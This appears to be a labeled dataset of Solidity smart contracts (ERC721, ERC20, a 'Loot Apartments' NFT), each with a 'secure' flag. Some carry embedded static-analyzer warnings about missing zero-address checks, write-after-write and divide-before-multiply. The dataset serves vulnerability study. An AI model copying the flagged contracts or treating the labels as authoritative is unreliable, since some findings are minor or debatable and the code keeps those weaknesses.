files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators1 {\n function Operator_1() public {\n uint256 a = 1;\n a = a + 1;\n }\n}",
"file_name": "solidity_code_1809.sol",
"secure": 1,
"size_bytes": 177
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFTsCollect.sol\" as NFTsCollect;\n\ncontract NFTsUploader {\n address public immutable owner;\n\n NFTsCollect public immutable Manage;\n\n constructor(address _Manage) {\n owner = msg.sender;\n\n Manage = NFTsCollect(_Manage);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Not the contract owner\");\n\n _;\n }\n\n function invest() external payable onlyOwner {\n require(msg.value > 0, \"Investment must be greater than zero\");\n\n Manage.deposit{value: msg.value}();\n }\n\n function divest(uint256 amount) external onlyOwner {\n Manage.withdraw(amount);\n }\n\n function getManagedOneConnectToken() external view returns (uint256) {\n return Manage.getOneConnectToken();\n }\n}",
"file_name": "solidity_code_181.sol",
"secure": 1,
"size_bytes": 859
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n require(operator != _msgSender(), \"ERC721: approve to caller\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer of token that is not own\"\n );\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}",
"file_name": "solidity_code_1810.sol",
"secure": 1,
"size_bytes": 9044
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ninterface IERC721Enumerable is IERC721 {\n function totalSupply() external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256 tokenId);\n\n function tokenByIndex(uint256 index) external view returns (uint256);\n}",
"file_name": "solidity_code_1811.sol",
"secure": 1,
"size_bytes": 446
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Enumerable.sol\" as IERC721Enumerable;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\n\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\n mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\n\n mapping(uint256 => uint256) private _ownedTokensIndex;\n\n uint256[] private _allTokens;\n\n mapping(uint256 => uint256) private _allTokensIndex;\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IERC721Enumerable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < ERC721.balanceOf(owner),\n \"ERC721Enumerable: owner index out of bounds\"\n );\n return _ownedTokens[owner][index];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _allTokens.length;\n }\n\n function tokenByIndex(\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < ERC721Enumerable.totalSupply(),\n \"ERC721Enumerable: global index out of bounds\"\n );\n return _allTokens[index];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, tokenId);\n\n if (from == address(0)) {\n _addTokenToAllTokensEnumeration(tokenId);\n } else if (from != to) {\n _removeTokenFromOwnerEnumeration(from, tokenId);\n }\n if (to == address(0)) {\n _removeTokenFromAllTokensEnumeration(tokenId);\n } else if (to != from) {\n _addTokenToOwnerEnumeration(to, tokenId);\n }\n }\n\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n uint256 length = ERC721.balanceOf(to);\n _ownedTokens[to][length] = tokenId;\n _ownedTokensIndex[tokenId] = length;\n }\n\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n _allTokensIndex[tokenId] = _allTokens.length;\n _allTokens.push(tokenId);\n }\n\n function _removeTokenFromOwnerEnumeration(\n address from,\n uint256 tokenId\n ) private {\n uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n _ownedTokens[from][tokenIndex] = lastTokenId;\n _ownedTokensIndex[lastTokenId] = tokenIndex;\n }\n\n delete _ownedTokensIndex[tokenId];\n delete _ownedTokens[from][lastTokenIndex];\n }\n\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n uint256 lastTokenIndex = _allTokens.length - 1;\n uint256 tokenIndex = _allTokensIndex[tokenId];\n\n uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n _allTokens[tokenIndex] = lastTokenId;\n _allTokensIndex[lastTokenId] = tokenIndex;\n\n delete _allTokensIndex[tokenId];\n _allTokens.pop();\n }\n}",
"file_name": "solidity_code_1812.sol",
"secure": 1,
"size_bytes": 3612
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ninterface LootContract is IERC721 {}",
"file_name": "solidity_code_1813.sol",
"secure": 1,
"size_bytes": 169
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators2 {\n function Operator_1() public {\n uint256 a = 1;\n a += 1;\n }\n}",
"file_name": "solidity_code_1814.sol",
"secure": 1,
"size_bytes": 174
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./LootContract.sol\" as LootContract;\n\ncontract LootApartment is ERC721Enumerable, ReentrancyGuard, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: b4fa948): LootApartment.lootContract (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#750) should be immutable \n\t// Recommendation for b4fa948: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n LootContract private lootContract;\n\t// WARNING Optimization Issue (immutable-states | ID: ca8bb04): LootApartment.lootContractAddress (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#751) should be immutable \n\t// Recommendation for ca8bb04: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private lootContractAddress;\n\n mapping(address => bool) private claimed;\n\n bool private buyingOpen = true;\n\t// WARNING Optimization Issue (constable-states | ID: bf4bb1b): LootApartment.currentPrice (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#756) should be constant \n\t// Recommendation for bf4bb1b: Add the 'constant' attribute to state variables that never change.\n uint256 private currentPrice = 10000000000000000;\n\n string[] private sidekicks = [\n \"Tiger\",\n \"Snake\",\n \"Dog\",\n \"Cat\",\n \"Parrot\",\n \"Hamster\",\n \"Rabbit\",\n \"Goat\",\n \"Mouse\",\n \"Fish\",\n \"Alligator\",\n \"Bear\",\n \"Ferret\",\n \"Monkey\",\n \"Spider\",\n \"Penguin\",\n \"Unicorn\",\n \"Owl\",\n \"Fox\",\n \"Turtle\",\n \"Honeybadger\",\n \"Gecko\",\n \"Piglet\",\n \"Teddy Bear\",\n \"Rubber Duck\"\n ];\n\n string[] private titles = [\n \"Magnificient\",\n \"Gorgeous\",\n \"Devastating\",\n \"Horrifying\",\n \"Fearless\",\n \"Miraculous\",\n \"Frivolous\",\n \"Impeccable\",\n \"Jittery\",\n \"Viral\",\n \"Logical\",\n \"Sharp\",\n \"Realistic\",\n \"Shrewd\",\n \"Visionary\",\n \"Elegant\",\n \"Savvy\",\n \"Strong\",\n \"Zealous\",\n \"Confident\",\n \"Smooth\",\n \"Charming\",\n \"Dexterous\",\n \"Coureous\",\n \"Calm\",\n \"Gooey\",\n \"Mirthful\",\n \"Amusing\",\n \"Clever\",\n \"Silly\",\n \"Melancholy\",\n \"Wise\",\n \"Boring\",\n \"Evil\",\n \"Angry\",\n \"Loud\",\n \"Small\",\n \"Noisy\",\n \"Scrawny\",\n \"Colossal\",\n \"Gigantic\",\n \"Crazy\",\n \"Adorable\",\n \"Bad\",\n \"Wicked\",\n \"Nutty\",\n \"Naughty\"\n ];\n\n string[] private planNames = [\n \"Pacific\",\n \"Mediterranean\",\n \"Caribbean\",\n \"Sun\",\n \"Mercury\",\n \"Venus\",\n \"Moon\",\n \"Mars\",\n \"Jupiter\",\n \"Saturn\",\n \"Uranus\",\n \"Neptune\",\n \"Pluto\",\n \"Bacelona\",\n \"Milan\",\n \"Paris\",\n \"London\",\n \"Berlin\",\n \"Moscow\",\n \"Beijing\",\n \"Tokyo\",\n \"New York\",\n \"Bordeaux\",\n \"Venice\",\n \"Vancouver\",\n \"Bangkok\",\n \"Seoul\",\n \"Algiers\",\n \"Cape Town\",\n \"Djibouti\",\n \"Tripoli\",\n \"Nairobi\",\n \"Kinshasa\",\n \"Buenos Aires\",\n \"San Paolo\",\n \"Rio\",\n \"Wellington\",\n \"Seattle\",\n \"Miami\",\n \"Austin\",\n \"Las Vegas\",\n \"Madrid\",\n \"Oslo\",\n \"Stockholm\",\n \"Riga\",\n \"Rome\",\n \"Jakarta\",\n \"Manila\",\n \"Osaka\",\n \"Melbourne\",\n \"Prague\",\n \"Warsaw\",\n \"Cairo\",\n \"Mumbai\",\n \"Delhi\",\n \"Shanghai\",\n \"TOI 700 d\",\n \"Proxima Centauri b\",\n \"Kepler-1649c\",\n \"Wolf 1061c\",\n \"Tau Ceti f\",\n \"Kapteyn b\",\n \"K2-72e\",\n \"Luyten b\"\n ];\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4ee233d): LootApartment.constructor(address)._lootContractAddress (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#904) lacks a zerocheck on \t lootContractAddress = _lootContractAddress (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#906)\n\t// Recommendation for 4ee233d: Check that the address is not zero.\n constructor(\n address _lootContractAddress\n ) ERC721(\"Loot Apartments\", \"LAP\") Ownable() {\n\t\t// missing-zero-check | ID: 4ee233d\n lootContractAddress = _lootContractAddress;\n lootContract = LootContract(lootContractAddress);\n }\n\n function ownerOfLoot(uint256 _tokenId) public view returns (address) {\n return lootContract.ownerOf(_tokenId);\n }\n\n function openBuying() public onlyOwner {\n buyingOpen = !buyingOpen;\n }\n\n function claim(uint256 _tokenId) public nonReentrant {\n require(_tokenId > 0 && _tokenId < 8001, \"Token ID invalid\");\n require(\n _msgSender() == ownerOfLoot(_tokenId),\n \"You need to be LOOT owner!\"\n );\n require(\n claimed[_msgSender()] == false,\n \"You already claimed one apartment!\"\n );\n _safeMint(_msgSender(), _tokenId);\n claimed[_msgSender()] = true;\n }\n\n function buy(\n uint256 _tokenId\n ) external payable costs(currentPrice) nonReentrant {\n require(_tokenId > 0 && _tokenId < 8001, \"Token ID invalid\");\n require(buyingOpen, \"Not open for buying yet!\");\n _safeMint(_msgSender(), _tokenId);\n }\n\n modifier costs(uint256 price) {\n require(msg.value >= price, \"Initial price is 0.01 ETH\");\n _;\n }\n\n function ownerClaim(uint256 _tokenId) public nonReentrant onlyOwner {\n require(_tokenId > 8000 && _tokenId < 8009, \"Token ID invalid\");\n _safeMint(owner(), _tokenId);\n }\n\n function getHOABalance() public view returns (uint256) {\n return address(this).balance;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d2f7d34): LootApartment.withdrawHOA(address)._to (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#954) lacks a zerocheck on \t _to.transfer(getHOABalance()) (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#955)\n\t// Recommendation for d2f7d34: Check that the address is not zero.\n function withdrawHOA(address payable _to) public nonReentrant onlyOwner {\n\t\t// missing-zero-check | ID: d2f7d34\n _to.transfer(getHOABalance());\n }\n\n function random(string memory input) internal pure returns (uint256) {\n return uint256(keccak256(abi.encodePacked(input)));\n }\n\n function getNumBedrooms(uint256 _tokenId) public pure returns (uint256) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n uint256 rand = random(\n string(abi.encodePacked(\"bed\", toString(_tokenId)))\n );\n return uint8((rand % 8) + 1);\n }\n\n function getPlanName(uint256 _tokenId) public view returns (string memory) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n uint256 rand = random(\n string(abi.encodePacked(\"plan\", toString(_tokenId)))\n );\n string memory output = planNames[rand % planNames.length];\n\n return string(abi.encodePacked(\"The \", output));\n }\n\n function getBedrooms(uint256 _tokenId) public pure returns (string memory) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n uint256 numBedrooms = getNumBedrooms(_tokenId);\n string memory output = string(\n abi.encodePacked(toString(numBedrooms), \" Bedroom\")\n );\n\n return plural(output, numBedrooms);\n }\n\n function plural(\n string memory _output,\n uint256 _quantity\n ) internal pure returns (string memory) {\n if (_quantity > 1) {\n return string(abi.encodePacked(_output, \"s\"));\n } else {\n return _output;\n }\n }\n\n function getBathrooms(\n uint256 _tokenId\n ) public pure returns (string memory) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n uint256 numBathrooms = getNumBathrooms(_tokenId);\n string memory output = string(\n abi.encodePacked(toString(numBathrooms), \" Bath\")\n );\n\n return plural(output, numBathrooms);\n }\n\n function getNumBathrooms(uint256 _tokenId) public pure returns (uint256) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n uint256 rand = random(\n string(abi.encodePacked(\"bath\", toString(_tokenId)))\n );\n return uint8((rand % 4) + 1);\n }\n\n function hasBalcony(uint256 _tokenId) public pure returns (bool) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n uint256 rand = random(\n string(abi.encodePacked(\"balcony\", toString(_tokenId)))\n );\n uint256 maybe = rand % 1000;\n return maybe < 100;\n }\n\n function getBalcony(uint256 _tokenId) public pure returns (string memory) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n if (hasBalcony(_tokenId)) {\n return \"Balcony\";\n } else {\n return \"No Balcony\";\n }\n }\n\n function getSidekick(uint256 _tokenId) public view returns (string memory) {\n require(_tokenId > 0 && _tokenId < 8009, \"Token ID invalid\");\n return pluck(_tokenId, \"SIDEKICK\", sidekicks);\n }\n\n function pluck(\n uint256 tokenId,\n string memory keyPrefix,\n string[] memory sourceArray\n ) internal view returns (string memory) {\n uint256 rand = random(\n string(abi.encodePacked(keyPrefix, toString(tokenId)))\n );\n string memory output = sourceArray[rand % sourceArray.length];\n uint256 greatness = rand % 21;\n if (greatness > 14) {\n output = string(\n abi.encodePacked(\n \"The \",\n titles[rand % titles.length],\n \" \",\n output\n )\n );\n }\n return output;\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 3eb4f6e): LootApartment.tokenURI(uint256).output (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#10961108) is written in both output = string(abi.encodePacked(output,parts[9],parts[10])) (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#1109) output = string(abi.encodePacked(dataapplication/json;base64,,json)) (Cleaned_Datasets/DISL_27.11.24/contracts_1/solidity_code_1001.sol#11241126)\n\t// Recommendation for 3eb4f6e: Fix or remove the writes.\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n require(tokenId > 0 && tokenId < 8009, \"Token ID invalid\");\n string[11] memory parts;\n parts[\n 0\n ] = \"<svg xmlns='http://www.w3.org/2000/svg' preserveAspectRatio='xMinYMin meet' viewBox='0 0 350 350'><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width='100%' height='100%' fill='black' /><text x='10' y='20' class='base'>\";\n\n parts[1] = getPlanName(tokenId);\n\n parts[2] = \"</text><text x='10' y='40' class='base'>\";\n\n parts[3] = getBedrooms(tokenId);\n\n parts[4] = \"</text><text x='10' y='60' class='base'>\";\n\n parts[5] = getBathrooms(tokenId);\n\n parts[6] = \"</text><text x='10' y='80' class='base'>\";\n\n parts[7] = getBalcony(tokenId);\n\n parts[8] = \"</text><text x='10' y='100' class='base'>\";\n\n parts[9] = getSidekick(tokenId);\n\n parts[10] = \"</text></svg>\";\n\n string memory output = string(\n abi.encodePacked(\n parts[0],\n parts[1],\n parts[2],\n parts[3],\n parts[4],\n parts[5],\n parts[6],\n parts[7],\n parts[8]\n )\n );\n\t\t// write-after-write | ID: 3eb4f6e\n output = string(abi.encodePacked(output, parts[9], parts[10]));\n\n string memory json = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Apartment #\",\n toString(tokenId),\n \"', 'description': 'Loot Apartments are randomized apartments for storing LOOT. In addition to the apartment, you also get a sidekick (all hail Devastating Parrot)! Images and other functionality are intentionally omitted for others to interpret. Feel free to use LootApartments in any way you want.', 'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(output)),\n \"'}\"\n )\n )\n )\n );\n\t\t// write-after-write | ID: 3eb4f6e\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", json)\n );\n\n return output;\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n}",
"file_name": "solidity_code_1815.sol",
"secure": 0,
"size_bytes": 14363
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Base64 {\n bytes internal constant TABLE =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: aa1f143): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for aa1f143: Consider ordering multiplication before division.\n function encode(bytes memory data) internal pure returns (string memory) {\n uint256 len = data.length;\n if (len == 0) return \"\";\n\n\t\t// divide-before-multiply | ID: aa1f143\n uint256 encodedLen = 4 * ((len + 2) / 3);\n\n bytes memory result = new bytes(encodedLen + 32);\n\n bytes memory table = TABLE;\n\n assembly {\n let tablePtr := add(table, 1)\n let resultPtr := add(result, 32)\n\n for {\n let i := 0\n } lt(i, len) {} {\n i := add(i, 3)\n let input := and(mload(add(data, i)), 0xffffff)\n\n let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))\n out := shl(8, out)\n out := add(\n out,\n and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)\n )\n out := shl(8, out)\n out := add(\n out,\n and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)\n )\n out := shl(8, out)\n out := add(\n out,\n and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)\n )\n out := shl(224, out)\n\n mstore(resultPtr, out)\n\n resultPtr := add(resultPtr, 4)\n }\n\n switch mod(len, 3)\n case 1 {\n mstore(sub(resultPtr, 2), shl(240, 0x3d3d))\n }\n case 2 {\n mstore(sub(resultPtr, 1), shl(248, 0x3d))\n }\n\n mstore(result, encodedLen)\n }\n\n return string(result);\n }\n}",
"file_name": "solidity_code_1816.sol",
"secure": 0,
"size_bytes": 2220
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ChainRollToken is ERC20 {\n constructor(uint256 supply) ERC20(\"ChainRoll\", \"CR\") {\n _mint(msg.sender, supply);\n }\n}",
"file_name": "solidity_code_1817.sol",
"secure": 1,
"size_bytes": 270
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_, uint256 supply_) {\n _name = name_;\n _symbol = symbol_;\n _totalSupply = supply_;\n\n unchecked {\n _balances[msg.sender] = supply_;\n }\n\n emit Transfer(address(0), msg.sender, supply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient 